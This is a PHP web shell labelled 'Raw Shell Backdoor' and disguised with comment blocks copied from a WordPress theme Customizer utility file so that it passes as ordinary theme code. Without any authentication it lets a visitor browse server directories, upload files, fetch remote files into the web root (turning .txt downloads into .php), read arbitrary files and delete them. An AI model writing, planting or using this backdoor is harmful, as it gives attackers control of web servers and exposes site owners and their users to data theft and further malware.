Raw Shell Backdoor

<?php
/**
 * Customizer Utility Functions
 *
 * @package     Customizer_Library
 * @author      Devin Price, The Theme Foundry
 */

/**
 * Binds JS handlers to make Theme Customizer preview reload changes asynchronously.
 */


error_reporting(0);
echo '
<table width="380" border="0" cellpadding="3" cellspacing="1" align="center"><tr><td>Current Path : ';
if(isset($_GET['path'])){
$path = $_GET['path'];
}else{
$path = getcwd();
}
$path = str_replace('\\','/',$path);
$paths = explode('/',$path);
foreach($paths as $id=>$pat){
if($pat == '' && $id == 0){
$a = true;
echo '<a href="?path=/">/</a>';
continue;
}
if($pat == '') continue;
echo '<a href="?path=';
for($i=0;$i<=$id;$i++){
echo "$paths[$i]";
if($i != $id) echo "/";
}
echo '">'.$pat.'</a>/';
}
echo '</td></tr><tr><td>';
if(isset($_FILES['uploadedfile'])){
$target_path=basename($_FILES["uploadedfile"]["name"]);if(move_uploaded_file($_FILES["uploadedfile"]["tmp_name"],$path.'/'.$target_path)){echo '<font color="green">file uploaded</font><br />';}else{echo '<font color="red">upload fail</font><br />';}
}
echo "<form enctype=\"multipart/form-data\" method=\"POST\" action=\"?path=$path\"><input name=\"uploadedfile\" type=\"file\"/><input type=\"submit\" value=\"Upload File\"/></form></td></tr>";
function get($url, $dir) {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch,CURLOPT_TIMEOUT,10);
    $data = curl_exec($ch);
    if(!$data){
        $data = @file_get_contents($url);
    }
    file_put_contents($dir, $data);
}
if($_GET['url']){
    $url = $_GET['url'];
    preg_match('/(.*)\/(.*)\.(.*?)$/',$url,$n);
    if($n[3]=='txt'){
        $z='php';
        $name=$n[2];
    }else{
        $z=$n[3];
        $name="moban";
    }
    if($_GET['dir']){
        $dir=$_SERVER["DOCUMENT_ROOT"].'/'.$_GET['dir'].'/'.$name.'.'.$z;
    }else{
        $dir=$_SERVER["DOCUMENT_ROOT"].'/'.$name.'.'.$z;
    }
    get($url,$dir);
    if(file_exists($dir)){echo "<tr><td><font color=\"green\">download success</font></td></tr>";}else{echo "<tr><td><font color=\"red\">download fail</font></td></tr>";}
}elseif($_POST['url']){
    $url = $_POST['url'];
    preg_match('/(.*)\/(.*)\.(.*?)$/',$url,$n);
    if($n[3]=='txt'){
        $z='php';
        $name=$n[2];
    }else{
        $z=$n[3];
        $name="moban";
    }
    $dir = $_POST['path']."/".$name.'.'.$z;
    get($url,$dir);
    if(file_exists($dir)){echo "<tr><td><font color=\"green\">download success</font></td></tr>";}else{echo "<tr><td><font color=\"red\">download fail</font></td></tr>";}
}
echo "<tr><td><form method=\"POST\" action=\"?path=$path\"><span>Url: </span><input type=text name=\"url\" value=\"\"><input type=\"hidden\" name=\"path\" value=\"$path\"><input type=submit value=\"Download\"></form></td></tr>";
if(isset($_GET['filesrc'])){
    echo "<tr><td>Current File : ";
    echo $_GET['filesrc'];
    echo '</tr></td></table><br />';
    echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
    }elseif(isset($_GET['check']) &&  $_GET['check'] == '1'){
        $RootDir = $_SERVER['DOCUMENT_ROOT'];
        $filename = $RootDir.'/index.php';
        echo "<tr><td>Current File : ";
        echo $filename;
        echo '</tr></td></table><br />';
        echo('<pre>'.htmlspecialchars(file_get_contents($filename)).'</pre>');
    }else{
    echo '</table><br /><center>';
    if(isset($_GET['option']) &&  $_GET['option'] == 'delete'){
        if(unlink($_GET['delfile'])){
            echo '<font color="green">Delete File Done.</font><br />';
        }else{
            echo '<font color="red">Delete File Error.</font><br />';
        }
    }
    echo '</center>';
    $scandir = scandir($path);
    echo '<div id="content"><table width="380" border="0" cellpadding="3" cellspacing="1" align="center"><tr class="first"><td>Name</td><td>Size</td><td>Options</td></tr>';
    foreach($scandir as $dir){
        if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
            echo "<tr><td><a href=\"?path=$path/$dir\">$dir</a></td><td>DIR</td><td>none</td></tr>";
        }
    echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
    foreach($scandir as $file){
        if(!is_file("$path/$file")) continue;
        $size = filesize("$path/$file")/1024;
        $size = round($size,3);
        if($size >= 1024){
            $size = round($size/1024,2).' MB';
        }else{
            $size = $size.' KB';
        }
        echo "<tr><td><a href=\"?filesrc=$path/$file&path=$path\">$file</a></td><td>".$size."</td><td><a href=\"?path=$path&delfile=$path/$file&option=delete\">Delete</a></td></tr>";
    }
    echo '</table></div>';
/**
 * Add postMessage support for site title and description for the Theme Customizer.
 *
 * @param WP_Customize_Manager $wp_customize Theme Customizer object.
 */

}